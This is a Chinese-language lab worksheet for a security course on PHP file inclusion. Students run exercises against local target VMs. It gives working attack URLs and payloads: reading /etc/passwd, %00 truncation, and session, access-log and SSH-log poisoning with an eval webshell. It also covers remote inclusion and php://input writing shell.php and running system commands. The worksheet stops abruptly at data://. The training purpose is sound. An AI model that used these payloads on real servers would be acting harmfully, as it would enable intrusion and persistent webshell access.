文件包含漏洞
上机练习
一、实训目的
掌握本地文件包含漏洞、本地文件包含绕过、Session文件包含、日志文件包含
二、实验环境
运行vmware workstation10以上,安装kali和Linux的操作系统。
三、实验要求
在虚拟机下完成以下操作,并写出实验步骤。
四、实验内容
将耙机IP设置为:192.168.x.100和192.168.x.101,gj机ip设置为:192.168.x.99,将x改为学号后两位,将结果截图保存在下面每一小题中。
1、 本地文件包含漏洞
(1) 访问 http://192.168.99.101/fi/01.php?filename=test.txt
(2) 访问 http://192.168.99.101/fi/01.php?filename=/etc/passwd
(3) 访问 http://192.168.99.101/fi/01.php?filename=/etc/httpd/conf/httpd.cnf
(4) 访问 http://192.168.99.101/fi/01.php?filename=/etc/my.cnf
(5) 访问 http://192.168.99.101 /fi/09.php?filename=file:///usr/etc/php.ini
2、 本地文件包含绕过
(1)%00(%00截断)文件包含漏洞
访问 http://192.168.99.101/fi/02.php?filename=/etc/passwd%00
(2)路径长度截断文件包含
windows下目录最大长度为256字节,超出的部分会被丢弃。
linux下目录最大长度为4096字节,超出的部分会被丢弃。
(3)点号截断文件包含
3、Session文件包含
(1)访问 http://192.168.99.101/fi/03.php?iwebsec=iwebsec
(2)访问 http://192.168.99.101/fi/03.php?iwebsec=<?php phpinfo();?>
(3)访问:http://192.168.99.101/fi/01.php?filename=/var/lib/php/session/sess_o37uuis03k9dtnd5ea8dvu1rk5
4、日志文件包含
(1)在清除靶机访问日志
echo “” >/var/log/httpd/access_log
靶机中查看访问日志:
cat /var/log/httpd/access_log
(2)使用浏览器和Burpsuit 提交,并对比:
http://192.168.99.101/fi/<?php @eval($_POST[123]);?>
在靶机中查看访问日志:
cat /var/log/httpd/access_log
(3)访问:http://192.168.99.101/fi/01.php?filename=/var/log/httpd/access_log
5、SSH是志文件包含
(1)将恶意代码写入日志文件
ssh “<?php @eval(\$_POST[123]);?>”@172.17.0.2
查看登录日志文件
less /var/log/auth.log
(2)使用POST提交 123=phpinfo();
http://192.168.99.101/fi/01.php?filename=/var/log/auth.log
6、无限制远程文件包含
(1)新建目录及文件
mkdir vuln
vim test.txt
内容:<?php @eval($_POST[123]);?>
访问:http://192.168.99.101/fi//04.php?filename=http:// 192.168.99.101/vuln/test.txt
7、有限制远程文件包含
(1) 问号绕过
1.1.1.4/fi//05.php?filename=http:// 1.1.1.4/vuln/test.txt
(2) 井号绕过
http://192.168.99.101/fi//05.php?filename=http:// 192.168.99.101/vuln/test.txt%23
8、PHP为协议
(1)php://filter(本地磁盘文件进行读取)
http://192.168.99.101/fi/06.php?filename=php://filter/convert.base64-encode/resource=xxx.php
(2)php://input(读取POST数据)
http://192.168.99.101/fi/07.php
test post
(3)php://input(写入mm)
1.1.1.4/fi/08.php?filename=php://input
<?PHP fputs(fopen(‘shell.php’,’w’),’<?php @eval($_POST[cmd]);?>’);?>
(4)php://input(命令执行)
<?php system(‘whoami’);?>
<?php system(‘ifconfig’);?>
<?php system(‘ls>aa.txt‘);?>
<?php system(‘rm aa.txt’);?>
(5)data://伪协议